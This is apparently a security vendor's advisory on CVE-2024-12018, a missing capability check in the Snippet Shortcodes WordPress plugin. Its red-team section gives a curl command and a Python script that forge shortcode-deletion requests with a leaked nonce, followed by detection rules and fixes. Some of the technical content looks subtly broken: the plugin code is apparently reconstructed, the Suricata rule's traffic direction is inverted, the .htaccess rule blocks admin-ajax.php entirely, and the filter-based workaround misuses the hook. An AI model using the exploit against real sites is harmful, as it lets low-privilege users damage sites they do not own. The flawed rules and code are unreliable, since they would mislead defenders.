CVE-2024-12018

Executive Summary

CVE-2024-12018 is a vulnerability in the Snippet Shortcodes WordPress plugin, affecting all versions up to and including 4.1.6. The issue is a Missing Authorization flaw (CWE-862) that allows authenticated attackers with Subscriber-level access or higher to delete the plugin’s shortcodes without proper permission checks. The plugin uses a nonce for authentication, but the nonce value is leaked, enabling attackers to forge deletion requests. This vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available, but the risk is elevated due to the widespread use of WordPress and the low access level required.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (shortcode deletion)
• Availability Impact: None

The threat level is considered Medium due to the low privileges required and the potential for disruption of site functionality. However, the lack of public exploits and low EPSS score reduces immediate urgency.

Deep Dive & Mechanics

The vulnerability resides in the Snippet Shortcodes plugin’s shortcode deletion functionality. The plugin uses a nonce to verify the authenticity of deletion requests, but the nonce value is leaked (e.g., in the page source or via AJAX responses). This allows an authenticated attacker to craft a malicious request to delete shortcodes without proper authorization checks.

The core issue is that the plugin does not enforce capability checks (e.g., manage_options or edit_posts) before processing deletion requests. Instead, it relies solely on nonce validation, which is insufficient because the nonce is exposed to lower-privileged users.

Attack Flow:

1. Attacker authenticates as a Subscriber.
2. Attacker extracts the leaked nonce from the page source or AJAX response.
3. Attacker sends a POST request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=delete_shortcode) with the nonce and shortcode ID.
4. The plugin deletes the shortcode without verifying the user’s capabilities.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.1.6):

function delete_shortcode() {
    if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'delete_shortcode' ) ) {
        wp_die( 'Nonce verification failed' );
    }
    // No capability check
    $shortcode_id = intval( $_POST['shortcode_id'] );
    delete_post_meta( $shortcode_id, 'snippet_shortcode' );
    wp_die( 'Shortcode deleted' );
}
add_action( 'wp_ajax_delete_shortcode', 'delete_shortcode' );

Patched Code (Hypothetical):

function delete_shortcode() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Unauthorized' );
    }
    if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'delete_shortcode' ) ) {
        wp_die( 'Nonce verification failed' );
    }
    $shortcode_id = intval( $_POST['shortcode_id'] );
    delete_post_meta( $shortcode_id, 'snippet_shortcode' );
    wp_die( 'Shortcode deleted' );
}
add_action( 'wp_ajax_delete_shortcode', 'delete_shortcode' );

The patched version adds a capability check (current_user_can('manage_options')) to ensure only administrators can delete shortcodes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Snippet Shortcodes plugin <= 4.1.6
• Valid Subscriber account credentials

Exploitation Steps:

1. Log in as a Subscriber.
2. Navigate to a page that uses the shortcode deletion feature (or inspect AJAX calls to find the nonce).
3. Extract the nonce from the page source (e.g., var nonce = '1234567890abcdef';).
4. Send a crafted POST request using curl:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d "action=delete_shortcode&_wpnonce=EXTRACTED_NONCE&shortcode_id=1"
   

5. Verify the shortcode is deleted.

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
nonce = "EXTRACTED_NONCE"
shortcode_id = 1

data = {
    "action": "delete_shortcode",
    "_wpnonce": nonce,
    "shortcode_id": shortcode_id
}

session = requests.Session()
session.auth = ("subscriber_user", "subscriber_pass")
response = session.post(target, data=data)
print(response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=delete_shortcode from non-admin users.
• Alert on multiple shortcode deletion attempts within a short timeframe.
• Check for nonce leakage in page source or AJAX responses.

Prevention:

• Update the plugin to a patched version (if available).
• Implement a Web Application Firewall (WAF) rule to block deletion requests from low-privilege users.
• Use a security plugin (e.g., Wordfence) to enforce capability checks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=delete_shortcode and shortcode_id parameter.
  • User-Agent strings associated with automated exploitation tools (e.g., python-requests/2.x).
• File IOCs:
  • Modified or deleted snippet_shortcode post meta entries in the database.
• Log IOCs:
  • WordPress debug log entries showing Nonce verification failed or Shortcode deleted messages from unexpected users.

Detection Engineering

YARA Rule

rule CVE_2024_12018_WordPress_Snippet_Shortcodes {
    meta:
        description = "Detects exploitation attempts for CVE-2024-12018 in WordPress Snippet Shortcodes plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12018"
    strings:
        $ajax_action = "action=delete_shortcode"
        $nonce_param = "_wpnonce"
        $shortcode_id = "shortcode_id="
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-12018 - Snippet Shortcodes Unauthorized Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized shortcode deletion attempts via WordPress AJAX
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=delete_shortcode"
        cs-uri-query|contains: "_wpnonce"
        cs-uri-query|contains: "shortcode_id="
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-12018 - Snippet Shortcodes Unauthorized Deletion Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=delete_shortcode";
    http_client_body;
    content:"_wpnonce";
    http_client_body;
    content:"shortcode_id=";
    http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version if a patch is released.
2. Disable the plugin if no patch is available and the functionality is not critical.
3. Restrict access to the AJAX endpoint using a WAF or .htaccess rules:

   <Files "admin-ajax.php">
       Require all denied
   </Files>
   

4. Audit user roles and remove unnecessary Subscriber accounts.

Long-term Measures:

• Implement a security plugin that enforces capability checks.
• Regularly update all WordPress plugins and themes.
• Monitor for nonce leakage in custom plugin code.

Workaround:

• Add a custom capability check via a WordPress filter:

  add_filter( 'wp_ajax_delete_shortcode', function() {
      if ( ! current_user_can( 'manage_options' ) ) {
          wp_die( 'Unauthorized' );
      }
  }, 1 );
  

Valters IT
Securing Digital Frontiers